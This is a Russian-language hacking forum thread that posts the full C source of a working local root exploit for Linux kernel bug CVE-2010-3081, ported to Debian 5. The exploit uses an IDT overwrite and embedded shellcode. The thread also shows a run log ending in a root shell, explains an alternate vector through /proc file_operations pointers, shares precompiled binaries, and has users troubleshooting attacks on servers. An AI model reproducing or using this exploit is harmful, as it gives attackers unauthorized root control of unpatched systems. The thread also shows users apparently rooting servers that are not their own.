Старый 16.07.2011, 17:53   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
Post ABftw.c: порт под дебиан 5 lenny

Просматривал уже знаменитый ABftw.c от Ac1dB1tCh3z и решил сделать простой порт под дебиан, т.к. оригинал на нем не работает.

Пока портировал, встретил "CVE-2010-3081 only affects kernels 2.6.26 and later", вероятно правда, т.к. на ubuntu 8.04 (2.6.24) данная бага не работает.

Легко доделать, чтобы и на более поздних ядрах работало, но зачем? - там работает robert_you_suck.c

Который, кстати, по совершенно непонятной мне причине не работает на ядрах <2.6.29 [и я не про commit_creds], поэтому буду рад, если кто-нибудь расскажет, почему он там (и на ubuntu) не работает.

Код на 99% из оригинального эксплойта. Используется перезапись IDT.

До/после:


На скриншоте смещение таблицы IDT+d00, т.е. там где изменяется адрес реально dd0, а не 0d0.
Согласно линку, адрес прерывания 221 (0xdd) меняется с 0xff ff ff ff 80 05 e8 ea на 0x00 00 00 00 00 20 00 00, где лежит наш шеллкод.



Испорченная часть таблица ниже - побочный эффект эксплуатации баги.

Пример работы на Debian 5.0.1:
Код:
synq@debian501:~/Desktop$ ./ABftw-deb5
$$$ h0m3 b4s3 addr3ss: ffffffff807d9000
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
$$$ Us1ng 1dt 3ntry: 221
Congrats, we made it!
# id
uid=0(root) gid=1000(synq) groups=4(adm),20(dialout),24(cdrom),46(plugdev),108(lpadmin),123(admin),124(sambashare),1000(synq)
# uname -an
Linux debian501 2.6.26-2-amd64 #1 SMP Fri Mar 27 04:02:5r9 UTC 2009 x86_64 GNU/Linux
Эксплойт:
Код:
/*

ABftw.c working on Debian 5. Almost no value :)

99% based on "Ac1dB1tch3z Vs Linux Kernel x86_64 0day"
Those guys rock!

SynQ
rdot.org
7/2011

*/
#include <poll.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sched.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ipc.h> 
#include <sys/msg.h>
#include <errno.h>

#define Y0Y0_STACK_MMAP       0x100000UL
#define Y0Y0_CODE_MMAP        0x200000UL
#define Y0Y0STOP              (Y0Y0_STACK_MMAP+0xFFC)
#define J0J0S                 0x00200000UL
#define J0J0R00T              0x002000F0UL
#define PAGE_SIZE             0x1000

static char ruujhdbgatrfe345[]=
"\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
"\x0f\x01\xf8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x48\xcf";

static char ttrg0ccc[]=
"\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
"\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
"\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
"\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
"\xeb\xcc\x5e\x5b\x5f\x59\xc3";


static char buffer[1024]={[0 ... 1023]=0x11};
static int s;
volatile static socklen_t magiclen=0;

struct socketcallAT
{
  int s;
  int level;
  int optname;
  void *optval;
  volatile socklen_t *optlen;  
}__attribute__((packed));

static struct socketcallAT at;

static void fillsocketcallAT()
{
 at.s = s;
 at.level = SOL_IP;
 at.optname = MCAST_MSFILTER;
 at.optval = buffer;
 at.optlen = &magiclen;
}

static void bitch_call(struct socketcallAT *at, void *stack)
{
  asm volatile(
      "push %%ebx\t\n"
      "push %%esi\t\n"
      "push %%ecx\t\n"
      "push %%edx\t\n"
      "movl $0x66, %%eax\t\n"
      "movl $0xf, %%ebx\t\n"
      "movl %%esp, %%esi\t\n" 
      "movl %0, %%ecx\t\n"
      "movl %1, %%esp\t\n"
      "int $0x80\t\n"
      "movl %%esi, %%esp\t\n"
      "pop %%edx\t\n"
      "pop %%ecx\t\n"
      "pop %%esi\t\n"
      "pop %%ebx\t\n"
      :  : "r"(at), "r"(stack)  : "memory", "eax", "ecx", "ebx", "esi"
     );
}

static inline int get_socklen(unsigned long long addr, unsigned int stack)
{
  int socklen_l = 8 + stack - addr - 16;
  return socklen_l;
}

struct idt64from32_s 
{
  unsigned short limit;
  unsigned long base;
}__attribute__((packed));

static unsigned long long getidt()
{
  struct idt64from32_s idt;
  memset(&idt, 0x00, sizeof(struct idt64from32_s));
  asm volatile("sidt %0" : "=m"(idt));
  return idt.base | 0xFFFFFFFF00000000ULL;
}

static void __setmcbuffer(unsigned int value)
{
  int i;
  unsigned int *p = (unsigned int*)buffer;
  for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
    *(p+i) = value;
}

static unsigned int idtover[4] = 
             {0x00100000UL, 
              0x0020ee00UL, 
              0x00000000UL, 
              0x00000000UL};

static void idt_smash(unsigned long long idtbase)
{
  int i;
  unsigned int curr;
  for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
  {
    curr = idtover[i]; 
    __setmcbuffer(curr);
    magiclen =  get_socklen(idtbase + (i*4), Y0Y0STOP);
    bitch_call(&at, (void*)Y0Y0STOP);
  } 
}

static void y0y0stack()
{
  void* map = mmap((void*)Y0Y0_STACK_MMAP, 
                   PAGE_SIZE, 
                   PROT_READ|PROT_WRITE, 
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
  { perror("mmap"); exit(-1); }

}

static void y0y0code()
{
  void* map = mmap((void*)Y0Y0_CODE_MMAP, 
                   PAGE_SIZE, 

#ifdef TRY_REMAP_DEFAULT 
		   PROT_READ|PROT_WRITE,
#else
                   PROT_READ|PROT_WRITE|PROT_EXEC, 
#endif
                   MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 
                   -1,0);
  if(MAP_FAILED == map)
  { perror("mmap"); exit(-1); }

}



int main(int argc, char*argv[])
{
  int uid,fd;
  unsigned long long *patch, idtb;
  struct pollfd pfd;

  uid = getuid();
  y0y0stack(); 
  y0y0code();

  if(1)
  {
    idtb = getidt();
    fprintf(stdout, "$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
    fprintf(stdout, "%s", "$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");   
    patch = (unsigned long long*)(ruujhdbgatrfe345 + 14);
    *patch = (unsigned long long)(J0J0R00T);

    fprintf(stdout, "%s", "$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
    memcpy((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  }

  /* set shellcode level 2 */
  if(1)
  {
    fprintf(stdout, "%s", "$$$ Us1ng st4nd4rd s3ash3llz\n");
    memcpy((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));
    *((unsigned int*)(J0J0R00T + 14)) = uid;
  }

  fprintf(stdout, "%s", "$$$ 0p3n1ng th3 m4giq p0rt4l\n");
  s = socket(AF_INET, SOCK_DGRAM, 0);
  if(s < 0)
  { perror("socket"); exit(-1); }

  fillsocketcallAT();


  if(1)
  {
    unsigned long long idtentry = idtb + (2*sizeof(unsigned long long)*0xdd);
    fprintf(stdout, "$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
    idt_smash((idtentry));
    sleep(1);
    asm volatile("int $0xdd\t\n");
  }

  if(getuid() == 0)
  {
    printf("Congrats, we made it!\n");
    system("/bin/sh");
  }

}
Не думаю, что кому-то пригодится :) при таком ядре наверняка будет glibc работать.
SynQ вне форума   Ответить с цитированием
Старый 17.07.2011, 13:23   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Также, Types And Attributes по оффсету 5 меняется с 8e(0b10001110) на ee(0b11101110)
Эти 2 бита отвечают за DPL (Descriptor Privilege Level) меняя их с 0 на 3 (11 в двоичной системе), мы разрешаем вызывать это прерывание пользовательским программам (ring3). По линку в первом посте структура этого флага описана подробнее.

PS Для компиляции понадобится установить gcc-4.3-multilib и использовать флаг -m32

Последний раз редактировалось SynQ; 18.07.2011 в 09:12..
SynQ вне форума   Ответить с цитированием
Старый 26.07.2011, 18:26   #3
col
 
Регистрация: 17.03.2011
Сообщений: 180
Репутация: 8
По умолчанию

Спасибо!

Пробил
Цитата:
2.6.26-2-amd64 #1 SMP Thu Aug 19 00:37:36 UTC 2010 x86_64
с обновленным glibc.
Скомпилил на соседнем сервере со -static -m32 и запустил, все круто
col вне форума   Ответить с цитированием
Старый 27.07.2011, 23:18   #4
col
 
Регистрация: 17.03.2011
Сообщений: 180
Репутация: 8
По умолчанию

По просьбам - скомпиленые бинарники (static и shared )

http://www.sendspace.com/file/yhwy61

Просьба, у кого хватает прав на аттачи тут - прикрепить.
col вне форума   Ответить с цитированием
Старый 29.07.2011, 18:00   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Немного нолиджа.

Второй метод в оригинальном эксплойте - использование timer_list_fops (адрес есть в /proc/kallsyms). Это структура в ядре для файла /proc/timer_list. Как и многие другие файлы в /proc он нужен для передачи информации из ядра в пространство пользователя.

http://lxr.linux.no/#linux+v2.6.35.5/kernel/time/timer_list.c#L285
Код:
static const struct file_operations timer_list_fops = {
        .open           = timer_list_open,
        .read           = seq_read,
        .llseek         = seq_lseek,
        .release        = single_release,
};
Как видно на скрине, эксплойт записывает адрес шеллкода в один из указателей (а именно для метода poll), который для этого файла даже не инициализируется и, соотвественно, не используется. А эксплойт затем вызывает poll() для этого файла и управление передается шеллкоду.



На скрине видно несколько инициализированных указателей, второй и третий, это .llseek и .read (см. ниже), а перезаписывается - восьмой, это .poll.

Сама структура следующего вида:
Код:
struct file_operations {
        struct module *owner;
        loff_t (*llseek) (struct file *, loff_t, int);
        ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
        ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
        ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
        ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
        int (*readdir) (struct file *, void *, filldir_t);
        unsigned int (*poll) (struct file *, struct poll_table_struct *);
        int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
...
};
Вероятно, вместо timer_list авторы могли бы использоваться любой другой файл из /proc с такой же структурой file_operations.
SynQ вне форума   Ответить с цитированием
Старый 29.07.2011, 18:10   #6
mythtrandyr
 
Регистрация: 19.04.2011
Сообщений: 29
Репутация: 0
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Вероятно, вместо timer_list авторы могли бы использоваться любой другой файл из /proc с такой же структурой file_operations.
Было бы замечательно, если бы можно было увидеть модифицырованый вариант сплойта...т.к. многим поданная модификация не по силам...
mythtrandyr вне форума   Ответить с цитированием
Старый 30.07.2011, 11:02   #7
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Сообщение от mythtrandyr Посмотреть сообщение
Было бы замечательно, если бы можно было увидеть модифицырованый вариант сплойта...т.к. многим поданная модификация не по силам...
А зачем? Он ведь работает.

Поперебирал свой /proc на Ubuntu8.10x64, там нашелся /proc/timer_stats, подходящий под условия.

Цитата:
ffffffff80653600 d timer_list_fops
ffffffff80653720 d tstats_fops
Важно, чтобы там где d не было r (иначе это read-only секция .data, и записать туда не получится).

Соответственно, структура tstats_fops

Код:
static const struct file_operations tstats_fops = {
        .open           = tstats_open,
        .read           = seq_read,
        .write          = tstats_write,
        .llseek         = seq_lseek,
        .release        = single_release,
;
Поэтому в эксплойте достаточно поменять /proc/timer_list на /proc/timer_stats и timer_list_fops на tstats_fops. После этого, все также работает, только через другой файл.

PS Искал подходящий файл и структуру вот так "cat /proc/kallsyms |grep _fops| grep часть_имени_файла_из_/proc"

Добавка:
В коде оригинального эксплойта упоминается, что этот вектор был убит. Поискал, вот коммит, которым все *_fops сделаны const и поэтому помещаются в read-only .data:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=828c09509b9695271bcbdc53e9fc9a6 a737148d2

Последний раз редактировалось SynQ; 31.07.2011 в 11:17..
SynQ вне форума   Ответить с цитированием
Старый 31.07.2011, 11:54   #8
mythtrandyr
 
Регистрация: 19.04.2011
Сообщений: 29
Репутация: 0
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Добавка:
В коде оригинального эксплойта упоминается, что этот вектор был убит. Поискал, вот коммит, которым все *_fops сделаны const и поэтому помещаются в read-only .data:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=828c09509b9695271bcbdc53e9fc9a6 a737148d2
400 - Invalid hash parameter

2 SynQ,
Есть сервер: Linux 2.6.18-194.11.3.el5 #1 SMP Mon Aug 30 16:19:16 EDT 2010 x86_64, по ядру видно что уязвимо к асид битчес сплойту...но при запуске ничего не происходит...нет вывода лога сплойта...просто в консоле появляется новая строка ввода команды и всё...может сталкивался с таким...
вариант запуска с другой папки не решает проблему...пробовал с разных...на папке /tmp noexec стоит...а в клиентских папках, работать не хочет
mythtrandyr вне форума   Ответить с цитированием
Старый 31.07.2011, 12:13   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Там пробел надо убрать.

По серверу: может в нем дырку заделали вводом команды в .../binfmt-чего-то-там и вообще запретили выполнение 32-битных прог. Для проверки скомпилируй на х64 helloworld с флагом -m32 и запусти на ней. Если тоже не заработает, значит я прав.
Вот нашел, как заделывали:
Цитата:
A workaround for this issue is to run this command
echo ':32bits:M:0:\x7fELF\x01::/bin/echo:' >
/proc/sys/fs/binfmt_misc/register
SynQ вне форума   Ответить с цитированием
Старый 31.07.2011, 16:41   #10
mythtrandyr
 
Регистрация: 19.04.2011
Сообщений: 29
Репутация: 0
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Там пробел надо убрать.

По серверу: может в нем дырку заделали вводом команды в .../binfmt-чего-то-там и вообще запретили выполнение 32-битных прог. Для проверки скомпилируй на х64 helloworld с флагом -m32 и запусти на ней. Если тоже не заработает, значит я прав.
Вот нашел, как заделывали:
Не выполняет..что с флагом -m32 что без, реакции ноль...пробовал ради интереса другие сплойты...не один не выполнился...такую ощущение что сервер вообще не реанирует на команду ./sploit .
mythtrandyr вне форума   Ответить с цитированием
Ответ

Метки
acidbitchez, debian, exploit, x64

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot